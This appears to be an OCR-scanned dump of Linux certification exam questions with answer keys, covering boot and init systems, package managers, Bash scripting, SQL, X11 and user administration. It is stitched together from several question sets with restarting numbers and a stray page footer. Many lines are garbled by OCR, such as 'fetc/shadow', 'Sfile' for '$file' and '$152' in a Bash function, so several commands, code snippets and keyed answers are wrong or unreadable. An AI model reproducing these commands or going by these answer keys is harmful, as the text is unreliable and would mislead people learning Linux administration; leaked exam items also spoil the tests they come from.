C. /etc/passwD. -rw-r--r-- fetc/shadow: -rw-r--r-
D. /etc/passwD. -r-------- fetc/shadow: -r-------- }

Answer: A

Question: 37

Which of the following configuration files should be modified to set default shell variables for all users?

A. /etc/bashrc

B. /etc/profile

C. ~default/.bash_profile
D. /etc/skel/.bashrc

E. /etc/skel/.bash_profile

Answer: B

Question: 38

By default, which directories contents will be copied to a new user's home directory when the account is created,
passing the -m option to the useradd command?

A. /ETC/SKEL, /ETC/SKEL/

Answer: A

Question: 39

Suppose that the command netstat -a hangs for a long time without producing output. An administrator might
suspect:

A. A problem with NFS

B. A problem with DNS

C. A problem with NIS

D. A problem with routing

E. That the netstat daemon has crashed

Answer: B

Question: 40

CORRECT TEXT
Please specify the directory containing the configuration files for the CUPS printing system. (Provide the full path to
the directory).
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Question: 1
Which SysV init configuration file should be modified to disable the ctrl-alt-delete key combination?

A. /etc/keys

B. /proc/keys
C. /etc/inittab
D. /proc/inittab
E. /etc/reboot

Answer: C

Question: 2

During a system boot cycle, what program is executed after the BIOS completes its tasks?

A. The bootloader

B. The inetd program
C. The init program
D. The kernel

Answer: A

Question: 3

Which run levels should never be declared as the default run level when using SysV init? (Choose TWO correct
answers.)

A.0
B.1
C.3
D.5
E. 6

Answer: A, E

Question: 4
Which of the following statements is correct when talking about /proc/?

A. All changes to files in /proc/ are stored in /etc/proc.d/ and restored on reboot.
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B. All files within /proc/ are read-only and their contents cannot be changed.
C. All changes to files in /proc/ are immediately recognized by the kernel.
D. All files within /proc/ are only readable by the root user.

Answer: C

Question: 5
What of the following statements are true regarding /dev/ when using udev? (Choose TWO correct answers.)

A. Entries for all possible devices get created on boot even if those devices are not connected.

B. Additional rules for udev can be created by adding them to /etc/udev/rules.d/.

C. When using udev, it is not possible to create block or character devices in /dev/ using mknod.
D. The /dev/ directory is a filesystem of type tmpfs and is mounted by udev during system startup.
E. The content of /dev/ is stored in /etc/udev/dev and is restored during system startup.

Answer: B, D

Question: 6

Which of the following information is stored within the BIOS? (Choose TWO correct answers.)

A. Boot device order

B. Linux kernel version

C. Timezone

D. Hardware configuration
E. The system's hostname

Answer: A, D

Question: 7

Which of the following commands reboots the system when using SysV init? (Choose TWO correct answers.)

A. shutdown -r now

B. shutdown -r "rebooting"

C. telinit 6

D. telinit 0

E. shutdown -k now "rebooting"

Answer: A, C

Question: 8
Which of the following are init systems used within Linux systems? (Choose THREE correct answers.)
A. startd

B. systemd
C. Upstart

www.Certificationking.com

64



Page No | 4

D. SysInit
E. SysV init

Answer: B, C, E

Question: 9

Which file in the /proc filesystem lists parameters passed from the bootloader to the kernel? (Specify the file name
only without any path.)

Answer: cmdline,
/proc/cmdline

Question: 10

What information can the Ispci command display about the system hardware? (Choose THREE correct answers.)

A. Device IRQ settings

B. PCl bus speed

C. System battery type

D. Device vendor identification
E. Ethernet MAC address

Answer: A, B, D

Question: 11

Which of the following commands brings a system running SysV init into a state in which it is safe to perform
maintenance tasks? (Choose TWO correct answers.)

A. shutdown -R 1 now

B. shutdown -single now
C.init1

D. telinit 1

E. runlevel 1

Answer: C,D

Question: 12

What is the first program that is usually started, at boot time, by the Linux kernel when using SysV init?

A. /lib/init.so

B. /sbin/init

C. /etc/rc.d/rcinit

D. /proc/sys/kernel/init
E. /boot/init
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Answer: B

Question: 13

Which command will display messages from the kernel that were output during the normal boot sequence?

Answer: dmesg,
/bin/dmesg

Question: 14

Which of the following commands will write a message to the terminals of all logged in users?

A. bcast
B. mesg
C. print
D. wall
E. yell

Answer: D

Question: 15

Which of the following kernel parameters instructs the kernel to suppress most boot messages?

A. silent

B. verbose=0
C. nomesg
D. quiet

Answer: D

Question: 16

Which of the following options for the kernel's command line changes the systemd boot target to rescue.target
instead of the default target?

A. systemd.target=rescue.target
B. systemd.runlevel=rescue.target
C. systemd.service=rescue.target
D. systemd.default=rescue.target
E. systemd.unit=rescue.target

Answer: E

Question: 17

After modifying GNU GRUB's configuration file, which command must be run for the changes to take effect?
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A. kill -HUP $(pidof grub)
B. grub-install

C. grub

D. No action is required

Answer: D

Question: 18

Which of the following commands is used to update the list of available packages when using dpkg based package
management?

A. apt-get update

B. apt-get upgrade
C. apt-cache update
D. apt-get refresh

E. apt-cache upgrade

Answer: A

Question: 19

Which of the following commands lists the dependencies of a given dpkg package?

A. apt-cache depends-on package
B. apt-cache dependencies package
C. apt-cache depends package

D. apt-cache requires package

Answer: C

Question: 20

Which of the following options is used in a GRUB Legacy configuration file to define the amount of time that the GRUB
menu will be shown to the user?

A. hidemenu
B. splash

C. timeout

D. showmenu

Answer: C

Question: 21

What can the Logical Volume Manager (LVM) be used for? (Choose THREE correct answers.)

A. To create RAID 9 arrays.
B. To dynamically change the size of logical volumes.
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C. To encrypt logical volumes.
D. To create snapshots.
E. To dynamically create or delete logical volumes.

Answer: B, D, E

Question: 22

Which of the following commands updates the linker cache of shared libraries?

A. mkcache
B. soconfig

C. mkldconfig
D. Iddconfig
E. Idconfig

Answer: E

Question: 23

Which of the following commands lists all currently installed packages when using RPM package management?

A. yum --query --all
B. yum --list --installed
C. rpm --query --all
D. rpm --list —installed

Answer: C

Question: 24

Which of the following commands can be used to download the RPM package kernel without installing it?

A. yum download --no-install kernel
B. yumdownloader kernel

C. rpm --download --package kernel
D. romdownload kernel

Answer: B

Question: 25

When using rpm --verify to check files created during the installation of RPM packages, which of the following
information is taken into consideration? (Choose THREE correct answers.)

A. Timestamps

B. MD5 checksums
C. Inodes

D. File sizes
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E. GnuPG signatures

Answer: A, B, D

Question: 26

Which of the following is correct when talking about mount points?

A. Every existing directory can be used as a mount point.

B. Only empty directories can be used as a mount point.

C. Directories need to have the SetUID flag set to be used as a mount point.

D. Files within a directory are deleted when the directory is used as a mount point.

Answer: A

Question: 27

Which function key is used to start Safe Mode in Windows NT?

A.F10

B. F8

C.F6

D. Windows NT does not support Safe Mode

Answer: D

Question: 28

Which of the following environment variables overrides or extends the list of directories holding shared libraries?

A.LD_LOAD_PATH
B.LD_LIB_PATH
C.LD_LIBRARY_PATH
D. LD_SHARE_PATH
E. LD_RUN_PATH

Answer: C

Question: 29

Which world-writable directory should be placed on a separate partition in order to prevent users from being able to
fill up the / filesystem? (Specify the full path to the directory.)

Answer: /tmp, tmp,
/var/tmp, /tmp/,
[var/tmp/

Question: 30
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Topic 1, Shells, Scripting and Data Management

Question: 1

What is true regarding the statement beginning with #! that is found in the first line of a script?

A. It prevents the script from being executed until the ! is removed.

B. It specifies the path and the arguments of the interpreter used to run the script.
C. It is a comment that is ignored by the script.

D. It specifies the character encoding of the script.

Answer: B

Question: 2

Which Bash option prevents a user from accidentally overwriting a file with a ">"?

A. set -o safe

B. set -0 noglob

C. set -0 noclobber
D. set -0 append

E. set -o nooverwrite

Answer: C

Question: 3
Which of the following commands prints the exit value of the most recently executed program in Bash?

A. echo $?

B. echo $#

C. echo Sexit
D. echo Sstatus
E. echo S&

Answer: A

Question: 4

What word will complete an if statement in bash such as the following: if [ -x "Sfile" ]; then echo Sfile
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(Please provide the missing word only)

Answer: fi

Question: 5

What word is missing from the following SQL statement? update tablename fieldname="'value' where id=909;
(Please specify the missing word using lower\_case letters only.)

Answer: set

Question: 6

Which of the following SQL statements will select the fields name and address from the contacts table?

A. SELECT (name, address) FROM contacts;
B. SELECT (name address) FROM contacts;
C. SELECT name, address FROM contacts;
D. SELECT name address FROM contacts;

Answer: C

Question: 7

Which of the following configuration files should be modified to globally set shell variables for all users?

A. /etc/bashrc
B. /etc/profile
C. ~/.bash_profile
D. /etc/.bashrc

Answer: B

Question: 8

Which of the following commands are used to manage the environment and shell variables within a shell process?
(Choose TWO correct answers.)

A. export
B. init

C. reset
D. set

E. tset

Answer: A, D

Question: 9

Which of the following are operators used for comparisons by the test command? (Choose TWO correct answers.)
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A. equals
B. =

C. -is

D. -eq

E. null

Answer: B, D

Question: 10

Which of the following commands creates a function in Bash that outputs the sum of two numbers?

A. function sumitup { echo $((51 + $2)); }
B. command sumitup { echo $(($1 +52)) ; }
C. function sumitup { echo $1 + 52 ; }

D. method sumitup { echo $1+$2;}

E. command sumitup { echo $1+52;}

Answer: A

Question: 11

What output will the following command sequence produce?
echo'123456' | whilereadabc; do echo result: Sc$b $a; done

A.result:345621
B.result:123456
C.result:654
D.result:654321
E.result:321

Answer: A

Question: 12

When the command echo $? outputs 1, which of the following statements are true?

A. It is the process ID of the echo command.

B. Itis the process ID of the current shell.

C. Itis the exit value of the command executed immediately before echo.
D. It is the exit value of the echo command.

Answer: C

Question: 13

What word is missing from the following SQL statement? insert into tablename (909, 'text');
(Please specify the missing word using lower-case letters only.)
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Answer: VALUES,

values

Question: 14
Which command makes the shell variable named VARIABLE visible to subshells?
A. export SVARIABLE
B. export VARIABLE
C. set SVARIABLE
D. set VARIABLE
E. env VARIABLE

Answer: B
Question: 15
What output will the command seq 10 produce?
A. A continuous stream of numbers increasing in increments of 10 until stopped.
B. The numbers 1 through 10 with one number per line.
C. The numbers 0 through 9 with one number per line.
D. The number 10 to standard output.

Answer: B

Question: 16

By default, the contents of which directory will be copied to a new user's home directory when the account is created
by passing the -m option to the useradd command? (Specify the full path to the directory.)

Answer: [etc/skel,
[etc/skel/

Question: 17

What word is missing from the following SQL statement?
count(*) from tablename;

(Please specify the missing word using lower-case letters only.)

Answer: select

Question: 18

Which of the following files, when existing, affect the behavior of the Bash shell? (Choose TWO correct answers.)

. ~/.bashconf

. ~/.bashrc

. ~/.bashdefaults
.~/.bash_etc

o0 m >
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E. ~/.bash_profile

Answer: B, E

Question: 19

After issuing:

function myfunction { echo $152;}
in Bash, which output does:
myfunction AB C

Produce?

A.AB
B.ABC
C.AC
D.BC
E.CBA

Answer: A

Question: 20
Which of the following commands puts the output of the command date into the shell variable mydate?

A. mydate="$(date)"
B. mydate="exec date"
C. mydate="$((date))"
D. mydate="date"

E. mydate="S{date}"

Answer: A

Topic 2, User Interfaces and Desktops

Question: 21

What is the purpose of the sticky keys feature in X?

A. To assist users who have difficulty holding down multiple keys at once.
B. To prevent repeated input of a single character if the key is held down.
C. To ignore brief keystrokes according to a specified time limit.

D. To repeat the input of a single character.

Answer: A

Question: 22

On a machine running several X servers, how are the different instances of the X11 server identified?
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A. By a fixed UUID that is defined in the X11 configuration file.
B. By a unique IPv6 address from the fe80::/64 subnet.

C. By the name of the user that runs the X server like x11:bob.
D. By a device name like /dev/X11/xservers/1.

E. By a display name like:1.

Answer: E
Question: 23
What is the purpose of the xhost program?
A. Grant or revoke access to a X11 session.
B. Install all packages and video drivers required to run X11 on a host.
C. Start the X11 server and announce its availability within the local network.
D. Send informational messages to all users logged into a host using X11.
E. Display the MOTD and other important information when a user logs in via X11.
Answer: A

Question: 24

What of the following statements is true regarding a display manager?

A. A display manager handles remote X11 logins only and has no purpose on a system that is not attached to a
network.

B. The display manager is configured in the X11 configuration file xorg.conf.

C. There is only one display manager X11DM that must be started on all systems running X11.

D. After system startup, the display manager handles the login of a user.

E. Without a display manager, no graphical programs can be run.

Answer: D

Question: 25

How is a display manager started?

A. It is started by a user using the command startx.

B. It is started like any other system service by the init system.

C. Itis started by inetd when a remote hosts connects to the X11 port.

D. It is started automatically when a X11 user logs in to the system console.

Answer: B

Question: 26

What is the default name of the configuration file for the Xorg X11 server? (Specify the file name only without any
path.)
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Answer: xorg.conf

Question: 27

Which of the following commands shows the current color depth of the X Server?

A. xcd

B. xcdepth

C. xwininfo

D. xcolordepth
E. cat /etc/X11

Answer: C

Question: 28

For accessibility assistance, which of the following programs is an on-screen keyboard?

A. xkb

B. atkb
C. GOK
D. xOSK

Answer: C

Question: 29

What is the name of the simple graphical login manager that comes with a vanilla X11 installation? (Specify ONLY the
command without any path or parameters.)

Answer: xdm

Question: 30

Which of the following are tasks handled by a display manager like XDM or KDM? (Choose TWO correct answers.)

A. Start and prepare the desktop environment for the user.

B. Configure additional devices like new monitors or projectors when they are attached.
C. Handle the login of a user.

D. Lock the screen when the user was inactive for a configurable amount of time.

E. Create an X11 configuration file for the current graphic devices and monitors.

Answer: A, C

Topic 3, Administrative Tasks

Question: 31

Which of the following commands can modify or set the password expiration for a user? (Choose TWO correct
answers.)
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